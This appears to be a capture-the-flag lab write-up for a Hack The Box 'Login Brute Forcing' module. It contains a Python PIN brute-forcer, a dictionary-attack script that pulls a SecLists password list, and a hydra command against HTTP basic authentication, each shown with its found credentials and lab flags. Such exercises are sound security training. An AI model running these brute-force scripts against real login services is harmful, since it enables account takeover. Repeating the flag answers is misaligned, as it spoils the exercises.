LOGIN BRUTE FORCING
BRUTE FORCE ATTACKS
After successfully brute-forcing the PIN, what is the full flag the script returns?
root@htb:~$ nano pinSolver
import requests
ip = "83.136.251.210" # Change this to your instance IP address
port = 45104 # Change this to your instance port number
# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
formatted_pin = f"{pin:04d}" # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
print(f"Attempted PIN: {formatted_pin}")
# Send the request to the server
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
# Check if the server responds with success and the flag is found
if response.ok and 'flag' in response.json(): # .ok means status code is 200 (success)
print(f"Correct PIN found: {formatted_pin}")
print(f"Flag: {response.json()['flag']}")
break
root@htb:~$ python3 pinSolver.py
...
* Correct PIN found: 2895
Flag: HTB{Brut3_F0rc3_1s_P0w3rfu1}DICTIONARY ATTACKS
After successfully brute-forcing the target using the script, what is the full flag the script returns?
root@htb:~$ nano dictionarySolver.py
import requests
ip = "127.0.0.1" # Change this to target IP
port = 1234 # Change this to target port
# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt").text.splitlines()
# Try each password from the list
for password in passwords:
print(f"Attempted password: {password}")
# Send a POST request to the server with the password
response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})
# Check if the server responds with success and contains the 'flag'
if response.ok and 'flag' in response.json():
print(f"Correct password found: {password}")
print(f"Flag: {response.json()['flag']}")
break
root@htb:~$ python3 dictionarySolver.py
Correct password found: gateway
Flag: HTB{Brut3_F0rc3_M4st3r}BASIC HTTP AUTHENTICATION
After successfully brute-forcing, and then logging into the target, what is the full flag you find?
root@htb:~$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt
* the -s means silent mode. it suppresses the progress bar and error messages, providing a cleaner output
root@htb:~$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 94.237.55.60 http-get / -s 43574
* [43574][http-get] host: 94.237.55.60 login: basic-auth-user password: Password@123
root@htb:~$ BROWSER > http://94.237.55.60:43574
* basic-auth-user:Password@123
- HTB{th1s_1s_4_f4k3_fl4g}
* ALT: curl -u basic-auth-user:'Password@123' 94.237.55.60:43574LOGIN FORMS
WEB SERVICES
After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?
CUSTOM WORDLISTS
Last updated